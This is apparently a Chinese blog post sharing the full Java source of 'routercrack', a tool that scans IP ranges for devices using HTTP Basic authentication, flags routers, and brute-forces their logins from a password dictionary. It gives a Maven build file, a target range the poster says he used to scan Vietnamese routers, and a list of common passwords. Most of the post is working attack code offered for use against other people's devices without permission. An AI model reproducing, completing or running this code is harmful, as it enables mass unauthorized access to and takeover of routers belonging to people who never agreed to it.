這個源碼不是本人寫的,是我原來的領導寫的,咱們都叫他東哥,這個是東留給個人一個小資源,好佩服他哦,這個東西能夠用來掃描全世界的路由器,破解路由器帳戶和密碼java
固然是簡單的了。我能力不夠沒有更完善的補充下。但願有能力的人作成界面形式,幫忙完善下。web
1.java代碼:apache
package cn.com.cisec.routercrack; import java.io.BufferedInputStream; import java.io.FileInputStream; import java.io.InputStream; import java.util.ArrayList; import java.util.List; import java.util.Properties; public class App { private static String tag = App.class.getSimpleName(); /** * ping超時時間 */ public static int pingTimeout = 5000; /** * socket連接超時時間 */ public static int socketTimeout =5000; /** * http請求超時時間 */ public static int httpTimeout =5000; /** * 線程數量 */ public static int threadCount =100; public static List<Integer> ports ; public static List<String> routerInfo ; public static void main(String[] args) { //MainFrame.createAndShowGUI(); start();//開始執行破解線程 } /** * 開始破解 */ public static void start(){ initConfig(); List<Thread> list = new ArrayList<Thread>(); for (int i = 0; i < threadCount; i++) { Thread t =new CrackThread(pingTimeout,socketTimeout,httpTimeout,ports,routerInfo); list.add(t); t.start(); } //等待線程執行完畢 for(Thread t : list){ try { t.join(); } catch (InterruptedException e) { // TODO Auto-generated catch block e.printStackTrace(); } } // new CrackThread().start(); //線程執行結束須要關閉打開的文件 CrackThread.writer.close(); LogUtil.i(tag, "程序結束"); } /** * 初始化配置文件 */ public static void initConfig(){ Properties p = null; try { InputStream in = new BufferedInputStream(new FileInputStream(FileUtil.getConfigFile())); p = new Properties(); p.load(in); threadCount = Integer.parseInt(p.getProperty("threadCount","5000").trim()); pingTimeout = Integer.parseInt(p.getProperty("pingTimeout","5000").trim()); socketTimeout = Integer.parseInt(p.getProperty("socketTimeout","5000").trim()); httpTimeout = Integer.parseInt(p.getProperty("httpTimeout","5000").trim()); String portsString = p.getProperty("ports", "80").trim(); String[] portArray = portsString.split(","); ports=new ArrayList<Integer>(); for(String portSting:portArray){ ports.add(Integer.parseInt(portSting)); } String routerInfoString = p.getProperty("routerInfo","route,Router,TD").trim(); String[] routerInfoArray = routerInfoString.split(","); routerInfo = new ArrayList<String>(); for(String routerStr:routerInfoArray){ routerInfo.add(routerStr); } } catch (Exception e) { //e.printStackTrace(); LogUtil.i(tag, "讀取配置文件失敗,使用默認配置"); //System.exit(0); ports=new ArrayList<Integer>(); ports.add(80); routerInfo = new ArrayList<String>(); routerInfo.add("router"); } } }
package cn.com.cisec.routercrack; import java.io.BufferedReader; import java.io.File; import java.io.FileNotFoundException; import java.io.FileReader; import java.io.IOException; public class ConfigFileReader { private static String tag =ConfigFileReader.class.getSimpleName(); /** *用戶名配置文件 */ private BufferedReader userReader; /** * 密碼配置文件 */ private BufferedReader passwordReader; public ConfigFileReader(){ File userConfigFile =FileUtil.getUserConfigFile(); File passwordConfigFile = FileUtil.getPasswordConfigFile(); try { userReader = new BufferedReader(new FileReader(userConfigFile)); passwordReader = new BufferedReader(new FileReader(passwordConfigFile)); } catch (FileNotFoundException e) { LogUtil.i(tag, "用戶名或密碼配置文件沒有找到,請檢查config目錄下是否存在配置文件"); e.printStackTrace(); } } /** * 獲取用戶名 * * @return 若是爲null則讀取結束 */ public String getUser(){ String user=null; try { user = userReader.readLine(); if(user==null){ userReader.close(); } } catch (IOException e) { e.printStackTrace(); } return user; } /** * 獲取密碼 * * @return 若是爲null則讀取結束 */ public String getPassword(){ String password=null; try { password = passwordReader.readLine(); if(password==null){ passwordReader.close(); } } catch (IOException e) { // TODO Auto-generated catch block e.printStackTrace(); } return password; } public void close(){ try { passwordReader.close(); userReader.close(); } catch (IOException e) { // TODO Auto-generated catch block e.printStackTrace(); } } }
package cn.com.cisec.routercrack; import java.io.IOException; import java.net.InetAddress; import java.net.InetSocketAddress; import java.net.Socket; import java.net.SocketAddress; import java.net.UnknownHostException; import java.util.HashMap; import java.util.List; import java.util.Map; import java.util.concurrent.TimeUnit; import org.apache.commons.codec.binary.Base64; import org.apache.http.Header; import org.apache.http.HttpResponse; import org.apache.http.client.ClientProtocolException; import org.apache.http.client.HttpClient; import org.apache.http.client.methods.HttpGet; import org.apache.http.impl.client.HttpClientBuilder; import org.apache.http.impl.conn.BasicHttpClientConnectionManager; public class CrackThread extends Thread { private static String tag = CrackThread.class.getSimpleName(); private static int count = 0; private boolean isStop = false; /** * 記錄是哪一個線程 */ private int who; private static IpFactory ipFactory = IpFactory.getInstance(); public static ResultFileWriter writer = ResultFileWriter.getInstance(); /** * ping測試的超時時間 */ private int pingTimeout; /** * socket連接測試的超時時間 */ private int socketTimeout; /** * 是路由器的標示 */ public List<String> routerInfo ; /** * http請求超時時間 */ private int httpTimeout; /** * 須要掃描的端口號 */ public List<Integer> ports ; public CrackThread(int pingTimeout, int socketTimeout, int httpTimeout,List<Integer> ports,List<String> routerInfo) { count++; who = count; this.pingTimeout=pingTimeout; this.socketTimeout=socketTimeout; this.ports=ports; this.routerInfo =routerInfo; this.httpTimeout=httpTimeout; } @Override public void run() { while (!isStop) { String ip = ipFactory.getIp(); if (ip == null) { isStop = true; } else { //LogUtil.i("CrackThread" + who,"獲取ip地址:"+ ip); boolean isPingOk =isAddressAvailable(ip); if(isPingOk){ LogUtil.i("CrackThread" + who,"ip地址:"+ ip+"可達"); writer.writeActivateIp(ip); //測試端口是否可達 for(int port:ports){ boolean isPortOk = isPortAvailable(ip,port); if(isPortOk){ LogUtil.i("CrackThread" + who,"ip地址:"+ ip+"的端口"+port+"開啓"); writer.writeOpenPortInfo(ip,port); Map<String,Object> basicInfo =getBasicInfo(ip,port); boolean isBasic = (boolean) basicInfo.get(IS_BASIC); if(isBasic){ LogUtil.i("CrackThread" + who,"ip地址:"+ ip+"的端口"+port+"是Basic認證方式"); writer.writeBasicInfo(ip,port); String headInfo = (String) basicInfo.get(WWW_AUTHENTICATE);//得到頭信息 boolean isRouter =false; for(String info:routerInfo){ if(headInfo.contains(info)){ isRouter=true; break; } } if(isRouter){ LogUtil.i("CrackThread" + who,"ip地址:"+ ip+"的端口"+port+"是Basic認證方式且是路由器"); writer.writeRouterInfo(ip, port); }else{ LogUtil.i("CrackThread" + who,"ip地址:"+ ip+"的端口"+port+"是Basic認證方式不是路由器"); } Map<String,Object> crackResultInfo = crackBasic(ip, port); boolean isCrackOk = (boolean) crackResultInfo.get(IS_CRACK_OK); if(isCrackOk){ String user = (String) crackResultInfo.get(USERNAME_OK); String password = (String) crackResultInfo.get(PASSWORD_OK); if(isRouter){ LogUtil.i("CrackThread" + who,"ip地址:"+ ip+"的端口"+port+"是Basic認證方式且是路由器,破解成功用戶名:"+user+",密碼:"+password); writer.writeRouterOkInfo(ip, port,user, password); }else{ LogUtil.i("CrackThread" + who,"ip地址:"+ ip+"的端口"+port+"是Basic認證方式,破解成功用戶名:"+user+",密碼:"+password); writer.writeBasicOkInfo(ip, port,user, password,headInfo); } }else{ LogUtil.i("CrackThread" + who,"ip地址:"+ ip+"的端口"+port+"是Basic認證方式,破解失敗"); } }else{ LogUtil.i("CrackThread" + who,"ip地址:"+ ip+"的端口"+port+"不是Basic認證方式"); } /*boolean isBasic = isBasic(ip,port); if(isBasic){ LogUtil.i("CrackThread" + who,"ip地址:"+ ip+"的端口"+port+"是Basic認證方式"); writer.writeBasicInfo(ip,port); }else{ LogUtil.i("CrackThread" + who,"ip地址:"+ ip+"的端口"+port+"不是Basic認證方式"); }*/ }else{ LogUtil.i("CrackThread" + who,"ip地址:"+ ip+"的"+"端口"+port+"未開啓"); } } }else{ LogUtil.i("CrackThread" + who,"ip地址:"+ ip+"不可達"); } } /* * try { sleep(3000); } catch (InterruptedException e) { // TODO * Auto-generated catch block e.printStackTrace(); } */ } } /** * basic反饋的信息長量 */ private static final String IS_BASIC="isBasic"; /** * 反饋的頭信息 */ private static final String WWW_AUTHENTICATE="WWW-Authenticate"; /** * basic狀態碼 */ private static final int BASIC_STATUSCODE=401; /** * 獲取basic的相關信息 * @param ip * @param port * @return 返回的map對象包含是否basic認證key=isBasic,basic認證的頭部信息等key=WWW-Authenticate */ public Map<String,Object> getBasicInfo(String ip,int port){ Map<String, Object> result = new HashMap<String, Object>(); HttpClientBuilder builder = HttpClientBuilder.create(); BasicHttpClientConnectionManager connManager = new BasicHttpClientConnectionManager() ; connManager.closeIdleConnections(httpTimeout, TimeUnit.MICROSECONDS); builder.setConnectionManager(connManager); HttpClient client = builder.build(); HttpGet httpGet = new HttpGet("http://"+ip+":"+port); try { HttpResponse response = client.execute(httpGet); LogUtil.d(tag,response.getStatusLine().getStatusCode()+""); if(BASIC_STATUSCODE==response.getStatusLine().getStatusCode()){ result.put(IS_BASIC, true); Header[] hs = response.getHeaders(WWW_AUTHENTICATE); for(Header h:hs){ String headInfo = h.getValue();//服務器反饋的WWW_AUTHENTICATE頭信息 //LogUtil.d(tag,headInfo); //String[] infos = headInfo.split("\""); /*for(String i:infos){ LogUtil.d(tag,i); }*/ result.put(WWW_AUTHENTICATE, headInfo); } }else{ result.put(IS_BASIC, false); } } catch (Exception e) { //e.printStackTrace(); result.put(IS_BASIC, false); } return result; } /** * 認證basic的頭 */ private static final String AUTHORIZATION="Authorization"; /** * 是否破解成功 */ private static final String IS_CRACK_OK="is_crack_ok"; private static final String USERNAME_OK ="user"; private static final String PASSWORD_OK="password"; /** * 對basic進行破解,成功反饋相關信息 * @param ip * @param port * @return */ public Map<String,Object> crackBasic(String ip,int port){ ConfigFileReader reader = new ConfigFileReader(); boolean userReadOk =false; while(!userReadOk){ String user = reader.getUser(); if(user!=null){ boolean passwordReadOk=false; while(!passwordReadOk){ String password = reader.getPassword(); if(password!=null){ HttpClientBuilder builder = HttpClientBuilder.create(); BasicHttpClientConnectionManager connManager = new BasicHttpClientConnectionManager() ; connManager.closeIdleConnections(httpTimeout, TimeUnit.MICROSECONDS); builder.setConnectionManager(connManager); HttpClient client = builder.build(); HttpGet httpGet = new HttpGet("http://"+ip+":"+port); String value=user+":"+password; value = Base64.encodeBase64String(value.getBytes()); value="Basic "+value; LogUtil.d(tag, value); httpGet.setHeader(AUTHORIZATION, value); //Authorization:"Basic YWRtaW46MTIzcXdlMTIz" try { HttpResponse response = client.execute(httpGet); if(response.getStatusLine().getStatusCode()==200){ Map<String,Object> result = new HashMap<String, Object>(); result.put(IS_CRACK_OK, true); result.put(USERNAME_OK,user); result.put(PASSWORD_OK, password); return result; } } catch (ClientProtocolException e) { // TODO Auto-generated catch block e.printStackTrace(); } catch (IOException e) { // TODO Auto-generated catch block e.printStackTrace(); } }else{ passwordReadOk=true; } } }else{ userReadOk=true; } } Map<String,Object> result = new HashMap<String, Object>(); result.put(IS_CRACK_OK, false); return result; } /** * 判斷是否basic認證 * @param ip * @param port * @return */ public boolean isBasic(String ip,int port){ int basicStatusCode=401; HttpClientBuilder builder = HttpClientBuilder.create(); BasicHttpClientConnectionManager connManager = new BasicHttpClientConnectionManager() ; connManager.closeIdleConnections(httpTimeout, TimeUnit.MICROSECONDS); builder.setConnectionManager(connManager); HttpClient client = builder.build(); HttpGet httpGet = new HttpGet("http://"+ip+":"+port); try { HttpResponse response = client.execute(httpGet); LogUtil.d(tag,response.getStatusLine().getStatusCode()+""); if(basicStatusCode==response.getStatusLine().getStatusCode()){ return true; } } catch (ClientProtocolException e) { // TODO Auto-generated catch block e.printStackTrace(); } catch (IOException e) { // TODO Auto-generated catch block e.printStackTrace(); } return false; } /** * ip地址是否可達 * @param ip * @return */ public boolean isAddressAvailable(String ip) { try { InetAddress address = InetAddress.getByName(ip); return address.isReachable(App.pingTimeout); } catch (UnknownHostException e) { // TODO Auto-generated catch block e.printStackTrace(); } catch (IOException e) { // TODO Auto-generated catch block e.printStackTrace(); } return false; } /** * 端口是否開啓 * @param ip * @param port * @return */ public boolean isPortAvailable(String ip,int port){ Socket socket = new Socket(); SocketAddress endpoint; try { endpoint = new InetSocketAddress(InetAddress.getByName(ip), port); socket.connect(endpoint,App.socketTimeout); socket.close(); return true; } catch (Exception e) { //e.printStackTrace(); return false; } } }
package cn.com.cisec.routercrack; import java.io.File; import java.net.URL; import java.util.ArrayList; import java.util.List; public class FileUtil { /** * syslog應用程序被打包成爲jar包發佈。在syslog服務中,須要在jar文件位置建立臨時文件夾,以保存數據。 * 臨時文件夾:1 讀文件中,ftp到中央日誌服務的文件,被放到臨時文件夾後再讀。 * 2 分析會後的日誌,保存一個月。若是選擇了備份,則把天天須要備份的文件移動到一個臨時備份文件夾。 * 邏輯:若是getDirFromClassLoader()方法計算不出來path,就取System.getProperty("user.dir")用戶工做目錄 * */ public static String getJarDir(){ String path = getDirFromClassLoader(); if(path == null){ path = System.getProperty("user.dir"); } return path; } /** * 從經過Class Loading計算路徑: * 1 class文件經過jar包加載: * 若是爲jar包,該包爲d:/test/myProj.jar * 該方法返回d:/test這個目錄(不受用戶工做目錄影響) * 提示:在jar包加載 的時候,經過指定加載FileUtil的class資源獲得jar:<url>!/{entry}計算出加載路徑 * 2 class文件直接被加載: * 若是是web工程,class文件放在D:\tools\apache-tomcat-5.5.27\webapps\webProj\WEB-INF\classes * 該方法返回D:\tools\apache-tomcat-5.5.27\webapps\webProj\WEB-INF * 即返回放class文件夾的上一層目錄。 * */ private static String getDirFromClassLoader(){ try { String path = FileUtil.class.getName().replace(".", "/"); path ="/"+path+".class"; URL url=FileUtil.class.getResource(path); String jarUrl= url.getPath(); if(jarUrl.startsWith("file:")){ if(jarUrl.length()>5){ jarUrl = jarUrl.substring(5); } jarUrl = jarUrl.split("!")[0]; }else{ jarUrl = FileUtil.class.getResource("/").toString().substring(5); } File file = new File(jarUrl); return file.getParent(); } catch (Exception e) { } return null; } /** * 找出指定目錄及其子目錄下,知足指定後綴的文件的絕對路徑。 * 提示:方法中出現異常被內部捕獲。 * @param dir 指定目錄 * @param suffix 文件名後綴 * * @throws IllegalArgumentException * */ public static List<String> find(String dir,String suffix){ List<String> list = new ArrayList<String>(); try { File file = new File(dir); if(file.exists() && file.isDirectory()){ find(file, suffix, list); }else{ throw new IllegalArgumentException("param \"dir\" must be an existing directory .dir = "+dir); } } catch (Exception e) { e.getMessage(); } return list; } /** * 遞歸遍歷,查找知足後綴的文件 * @param dirFile 必須爲一個存在的目錄.不能爲null * @param suffix * @param list 遞歸遍歷目錄記錄知足後綴的文件的絕對路徑。 * */ private static void find(File dirFile,String suffix,List<String> list){ if(dirFile.exists() && dirFile.isDirectory()){ File[] subFiles = dirFile.listFiles(); for(File subFile : subFiles) { if(subFile.isDirectory()){ find(subFile, suffix, list); }else{ String path = subFile.getAbsolutePath(); if(path.endsWith(suffix)){ list.add(path); } } } }else{ throw new IllegalArgumentException("param \"dir\" must be an existing directory .dir = "+dirFile.getAbsolutePath()); } } /** * 得到IP地址配置文件 * @return */ public static File getIpConfigFile(){ return new File(getJarDir()+"/config/","ips.txt"); } /** * 得到用戶名配置文件 * @return */ public static File getUserConfigFile(){ return new File(getJarDir()+"/config/","users.txt"); } /** * 得到密碼配置文件 * @return */ public static File getPasswordConfigFile(){ return new File(getJarDir()+"/config/","passwords.txt"); } /** * 記錄ping成功的ip * @return */ public static File getActivateIpsFile(){ return new File(getJarDir()+"/result/","activityIps.txt"); } /** * 記錄打開端口的ip * @return */ public static File getOpenPortIpsFile(){ return new File(getJarDir()+"/result/","openPortInfos.txt"); } /** * 記錄是basic認證的ip * @return */ public static File getBasicIpsFile(){ return new File(getJarDir()+"/result/","basicInfos.txt"); } /** * 記錄basic認證破解成功的ip 用戶名和密碼 * @return */ public static File getBasicOkFile(){ return new File(getJarDir()+"/result/","basicOkInfos.txt"); } /** * 記錄是basic認證可是路由的信息 * @return */ public static File getRouterFile(){ return new File(getJarDir()+"/result/","routerInfos.txt"); } /** * 記錄是basic認證是路由破解成功的信息 * @return */ public static File getRouterOkFile(){ return new File(getJarDir()+"/result/","routerOkInfos.txt"); } public static File getConfigFile(){ return new File(getJarDir()+"/config/","config.properties"); } }
package cn.com.cisec.routercrack; import java.io.BufferedReader; import java.io.File; import java.io.FileNotFoundException; import java.io.FileReader; import java.io.IOException; import java.util.ArrayList; import java.util.List; import java.util.regex.Matcher; import java.util.regex.Pattern; public class IpFactory { /** * IP地址配置文件路徑 */ private File ipsFile; /** * 是否須要讀取文件 */ private boolean isRead=true; private long minIpValue; private long maxIpValue; private long currentIPValue; private static IpFactory factory=null; /** * 讀取Ip地址配置文件 */ private BufferedReader reader; private IpFactory(){ ipsFile = FileUtil.getIpConfigFile(); try { reader = new BufferedReader(new FileReader(ipsFile)); } catch (FileNotFoundException e) { LogUtil.i("IpFactory","錯誤:IP地址配置文件沒有找到!"); System.exit(0); } } /** * 獲取工廠實例 * @return */ public static IpFactory getInstance(){ if(factory==null){ factory = new IpFactory(); } return factory; } /** * 加載IP配置文件中的數據到內存中 * @return 若是加載完成返回false 不然爲true */ private boolean loadIps(){ try { String net = reader.readLine(); if(net==null){ //reader.close(); return false; }else{ //讀取到的內容不爲NULL net.replace(" ", ""); if(IpUtil.isNet(net)){ String ip =net.substring(0, net.lastIndexOf("/")); int mask = Integer.parseInt(net.substring(net.lastIndexOf("/")+1)); minIpValue = IpUtil.getMinIpValue(ip, mask); maxIpValue = IpUtil.getMaxIpValue(ip, mask); currentIPValue=minIpValue; //設置是否須要讀取 isRead=false; return true; }else if(IpUtil.isNetRange(net)){ String[] ipArray = net.split("-"); long tmpMin = IpUtil.getIpValue(ipArray[0]); long tmpMax =IpUtil.getIpValue(ipArray[1]); if(tmpMax>tmpMin){ maxIpValue=tmpMax; minIpValue=tmpMin; currentIPValue=minIpValue; }else{ maxIpValue=tmpMin; minIpValue=tmpMax; currentIPValue=tmpMax; } isRead=false; return true; }else{ //不是網絡地址,重新讀取 return loadIps(); } } } catch (IOException e) { LogUtil.i("IpFactory.loadIps()", "錯誤:沒法讀取IP地址配置文件!"); //System.exit(0); return false; } } /** * 提供給線程獲取IP地址 * @return 返回null則讀取完成 */ public synchronized String getIp(){ if(isRead){ //是否須要讀取ip if(!loadIps()){ //讀取完成 return null; } } if(currentIPValue>=minIpValue&¤tIPValue<=maxIpValue){ String ip =IpUtil.valueToIp(currentIPValue); currentIPValue++; return ip; }else{ isRead=true; return getIp(); } } }
package cn.com.cisec.routercrack; import java.util.StringTokenizer; import java.util.logging.LogManager; import java.util.regex.Matcher; import java.util.regex.Pattern; public class IpUtil { /** * 得到實際的掩碼的值 * * @param mask * @return */ public static long getMaskValue(int mask) { return ((long) Math.pow(2, mask) - 1) << (32 - mask); } /** * 得到掩碼的反碼的值 * * @param mask * @return */ public static long getUnMaskValue(int mask) { return (long) (Math.pow(2, 32 - mask) - 1); } /** * 根據IP地址得到它對應的值 * * @param ipAddress * @return */ public static long getIpValue(String ipAddress) { StringTokenizer tokenizer = new StringTokenizer(ipAddress, "."); int a = Integer.parseInt(tokenizer.nextToken()); int b = Integer.parseInt(tokenizer.nextToken()); int c = Integer.parseInt(tokenizer.nextToken()); int d = Integer.parseInt(tokenizer.nextToken()); // System.out.println(a+"."+b+"."+c+"."+d); LogUtil.d("IpUtil.getIpValue", "轉換的IP地址:" + a + "." + b + "." + c + "." + d); long value = 0; value = ((long) a) << 24; value += ((long) b) << 16; value += ((long) c) << 8; value += d; LogUtil.d("IpUtil.getIpValue", "ip地在轉換後的值:" + value); return value; } /** * 根據IP地址和掩碼得到網絡地址的值 * * @param ipAddress * @param mask * @return */ public static long getNetValue(String ipAddress, int mask) { long ipValue = getIpValue(ipAddress); long maskValue = getMaskValue(mask); //System.out.println("========================="+ipValue); //System.out.println("============================"+maskValue); //System.out.println("========="+(ipValue & maskValue)); return ipValue & maskValue; } /** * 得到最小的IP地址的值 * * @param ipAddress * @param mask * @return */ public static long getMinIpValue(String ipAddress, int mask) { if (mask >= 0 && mask <= 32) { if (isIp(ipAddress)) { //return getNetValue(ipAddress, mask) + 1; return getNetValue(ipAddress, mask); } else { new IllegalArgumentException("錯誤:Ip格式不正確"); } } else { new IllegalArgumentException("錯誤:掩碼應該大於等於0小於等於32"); } return -1; } /** * 得到最大的IP的值 * * @param ipAddress * @param mask * @return */ public static long getMaxIpValue(String ipAddress, int mask) { if (mask >= 0 && mask <= 32) { if (isIp(ipAddress)) { //System.out.println("===="+getNetValue(ipAddress, mask)); //System.out.println("===="+getUnMaskValue(mask)); //return getNetValue(ipAddress, mask)+getUnMaskValue(mask)-1 ; return getNetValue(ipAddress, mask)+getUnMaskValue(mask); } else { new IllegalArgumentException("錯誤:Ip格式不正確"); } } else { new IllegalArgumentException("錯誤:掩碼應該大於等於0小於等於32"); } return -1; } /** * 判斷是否爲IP地址 * * @param ipAddress * @return */ public static boolean isIp(String ipAddress) { String regex = "^\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}$"; Pattern p = Pattern.compile(regex); Matcher m = p.matcher(ipAddress); if(m.matches()){ StringTokenizer tokenizer = new StringTokenizer(ipAddress, "."); int a = Integer.parseInt(tokenizer.nextToken()); int b = Integer.parseInt(tokenizer.nextToken()); int c = Integer.parseInt(tokenizer.nextToken()); int d = Integer.parseInt(tokenizer.nextToken()); if(a>0&&a<=255&&b>=0&&b<=255&&c>=0&&c<=255&&d>=0&&d<=255){ return true; }else{ return false; } }else{ return false; } } /** * 判斷是否網絡 * @param net * @return */ public static boolean isNet(String net){ String regex = "^\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\/\\d{1,2}$"; Pattern p = Pattern.compile(regex); Matcher m = p.matcher(net); if(m.matches()){ String ip =net.substring(0, net.lastIndexOf("/")); LogUtil.d("IpUtil.isNet()", "ip地址:"+ip); if(isIp(ip)){ int mask = Integer.parseInt(net.substring(net.lastIndexOf("/")+1)); if(mask>=0&&mask<=32){ return true; }else{ return false; } }else{ return false; } }else{ return false; } } /** * 是網絡範圍192.168.1.1-192.168.1.254 * @param net * @return */ public static boolean isNetRange(String net) { String regex = "^\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\-\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}$"; Pattern p = Pattern.compile(regex); Matcher m = p.matcher(net); if(m.matches()){ String[] ipArray = net.split("-"); if(isIp(ipArray[0])&&isIp(ipArray[1])){ return true; }else{ return false; } }else{ return false; } } /** * long轉換爲IP地址 * @param value * @return */ public static String valueToIp(long value) { long maxValue = 4294967295L; if (value > maxValue) { new IllegalArgumentException("錯誤:超出最大的值"); return null; } else { long a, b, c, d; a = (long) (value & 0x00000000ff000000) >> 24; b = (long) (value & 0x0000000000ff0000) >> 16; c = (long) (value & 0x000000000000ff00) >> 8; d = (long) (value & 0x00000000000000ff); return a + "." + b + "." + c + "." + d; } } }
package cn.com.cisec.routercrack; public class LogUtil { /** * 調試信息 * @param tag * @param msg */ public static void d(String tag,String msg){ //System.out.println(tag+"====>>"+msg); } /** * 輸出信息 * @param tag * @param msg */ public static void i(String tag,String msg){ System.out.println(tag+"====>>"+msg); } }
package cn.com.cisec.routercrack; import java.awt.BorderLayout; import java.awt.Dimension; import java.awt.Toolkit; import java.awt.event.ActionEvent; import java.awt.event.ActionListener; import javax.swing.GroupLayout; import javax.swing.GroupLayout.Alignment; import javax.swing.JFrame; import javax.swing.JLabel; import javax.swing.JPanel; import javax.swing.JTextField; public class MainFrame extends JFrame implements ActionListener { /** * */ private static final long serialVersionUID = 765875537593801454L; public MainFrame() { super("路由破解"); int frameWidth=800;//窗口寬度 int frameHeight=600;//窗口高度 Dimension screenSize = Toolkit.getDefaultToolkit().getScreenSize(); setBounds((screenSize.width-frameWidth)/2, (screenSize.height-frameHeight)/2,frameWidth,frameHeight);//顯示在屏幕中間 //主窗口布局 BorderLayout layout = new BorderLayout(); JPanel contentPanel = new JPanel(); contentPanel.setLayout(layout); //配置窗口 JPanel configPanel = new JPanel(); JLabel label1= new JLabel("test1"); JLabel label2 = new JLabel("test2"); JTextField tf1=new JTextField(); JTextField tf2 = new JTextField(); GroupLayout configPanelLayout = new GroupLayout(configPanel); configPanel.setLayout(configPanelLayout); // Turn on automatically adding gaps between components configPanelLayout.setAutoCreateGaps(true); // Turn on automatically creating gaps between components that touch // the edge of the container and the container. configPanelLayout.setAutoCreateContainerGaps(true); // Create a sequential group for the horizontal axis. GroupLayout.SequentialGroup hGroup = configPanelLayout.createSequentialGroup(); // The sequential group in turn contains two parallel groups. // One parallel group contains the labels, the other the text fields. // Putting the labels in a parallel group along the horizontal axis // positions them at the same x location. // // Variable indentation is used to reinforce the level of grouping. hGroup.addGroup(configPanelLayout.createParallelGroup(). addComponent(label1).addComponent(label2)); hGroup.addGroup(configPanelLayout.createParallelGroup(). addComponent(tf1).addComponent(tf2)); configPanelLayout.setHorizontalGroup(hGroup); // Create a sequential group for the vertical axis. GroupLayout.SequentialGroup vGroup = configPanelLayout.createSequentialGroup(); // The sequential group contains two parallel groups that align // the contents along the baseline. The first parallel group contains // the first label and text field, and the second parallel group contains // the second label and text field. By using a sequential group // the labels and text fields are positioned vertically after one another. vGroup.addGroup(configPanelLayout.createParallelGroup(Alignment.BASELINE). addComponent(label1).addComponent(tf1)); vGroup.addGroup(configPanelLayout.createParallelGroup(Alignment.BASELINE). addComponent(label2).addComponent(tf2)); configPanelLayout.setVerticalGroup(vGroup); JPanel resultPanel = new JPanel(); contentPanel.add(configPanel, BorderLayout.CENTER); contentPanel.add(resultPanel, BorderLayout.SOUTH); setContentPane(contentPanel); } //React to menu selections. public void actionPerformed(ActionEvent e) { if ("new".equals(e.getActionCommand())) { //new // createFrame(); } else { //quit quit(); } } protected void quit() { System.exit(0); } public static void createAndShowGUI() { MainFrame frame = new MainFrame(); frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); frame.setVisible(true); } }
package cn.com.cisec.routercrack; import java.io.File; import java.io.FileWriter; import java.io.IOException; import java.io.PrintWriter; public class ResultFileWriter { private static ResultFileWriter resultFileWriter; /** * 激活的ip */ private PrintWriter activateIpsWriter; /** * 端口開啓 */ private PrintWriter openPortInfoWriter; /** * 是basic認證的IP地址 */ private PrintWriter basicInfoWriter; /** * 破解basic成功的信息 */ private PrintWriter basicOkInfoWriter; private PrintWriter routerInfoWriter; private PrintWriter routerOkInfoWriter; private ResultFileWriter(){ File activateIpsFile = FileUtil.getActivateIpsFile(); File openPortIpsFile = FileUtil.getOpenPortIpsFile(); File basicIpsFile = FileUtil.getBasicIpsFile(); File basicOkInfoFile = FileUtil.getBasicOkFile(); try { activateIpsWriter= new PrintWriter(new FileWriter(activateIpsFile)); openPortInfoWriter = new PrintWriter(new FileWriter(openPortIpsFile)); basicInfoWriter = new PrintWriter(new FileWriter(basicIpsFile)); basicOkInfoWriter = new PrintWriter(new FileWriter(basicOkInfoFile)); routerInfoWriter = new PrintWriter(new FileWriter(FileUtil.getRouterFile())); routerOkInfoWriter = new PrintWriter(new FileWriter(FileUtil.getRouterOkFile())); } catch (IOException e) { // TODO Auto-generated catch block e.printStackTrace(); } } public static ResultFileWriter getInstance(){ if(resultFileWriter==null){ resultFileWriter = new ResultFileWriter(); } return resultFileWriter; } public synchronized void writeActivateIp(String ip){ activateIpsWriter.println(ip); activateIpsWriter.flush(); } public synchronized void writeOpenPortInfo(String ip,int port){ openPortInfoWriter.println(ip+","+port); openPortInfoWriter.flush(); } public synchronized void writeBasicInfo(String ip,int port){ basicInfoWriter.println(ip+","+port); basicInfoWriter.flush(); } public synchronized void writeBasicOkInfo(String ip,int port,String user,String password){ basicOkInfoWriter.println("ip="+ip+",port="+port+",username="+user+",password="+password); basicOkInfoWriter.flush(); } public synchronized void writeRouterInfo(String ip,int port){ routerInfoWriter.println(ip+","+port); routerInfoWriter.flush(); } public synchronized void writeRouterOkInfo(String ip,int port,String user,String password){ routerOkInfoWriter.println("ip="+ip+",port="+port+",username="+user+",password="+password); routerOkInfoWriter.flush(); } public void close(){ activateIpsWriter.flush(); activateIpsWriter.close(); openPortInfoWriter.flush(); openPortInfoWriter.close(); basicInfoWriter.flush(); basicInfoWriter.close(); basicOkInfoWriter.flush(); basicOkInfoWriter.close(); routerOkInfoWriter.flush(); routerOkInfoWriter.close(); routerInfoWriter.flush(); routerInfoWriter.close(); } /** * 將IP地址 端口 用戶名 密碼 頭信息寫入文件 * @param ip * @param port * @param user * @param password * @param headInfo */ public void writeBasicOkInfo(String ip, int port, String user, String password, String headInfo) { basicOkInfoWriter.println("ip="+ip+",port="+port+",username="+user+",password="+password+",headInfo="+headInfo); basicOkInfoWriter.flush(); } }
2.最最重要的是maven項目的pom.xml文件配置tomcat
pom.xml服務器
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> <modelVersion>4.0.0</modelVersion> <groupId>cn.com.cisec</groupId> <artifactId>routercrack</artifactId> <version>0.0.1-SNAPSHOT</version> <packaging>jar</packaging> <name>Routercrack</name> <url>http://maven.apache.org</url> <properties> <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding> </properties> <dependencies> <dependency> <groupId>junit</groupId> <artifactId>junit</artifactId> <version>3.8.1</version> <scope>test</scope> </dependency> <dependency> <groupId>log4j</groupId> <artifactId>log4j</artifactId> <version>1.2.17</version> </dependency> <dependency> <groupId>org.apache.httpcomponents</groupId> <artifactId>httpclient</artifactId> <version>4.3.5</version> </dependency> <dependency> <groupId>org.apache.maven.plugins</groupId> <artifactId>maven-resources-plugin</artifactId> <version>2.6</version> </dependency> </dependencies> </project>
3.裏面的ips.txt是要掃描的ip地址(下面的地址是越南的ip,我用來掃描越南的路由器)網絡
113.160.0.0/11
4.passwords.txt是密碼字典,暴力破解的密碼庫app
admin
111111
123qwe123
abc123
123456
xiaoming
12345678
iloveyou
qq123456
taobao
root
wang1234
password
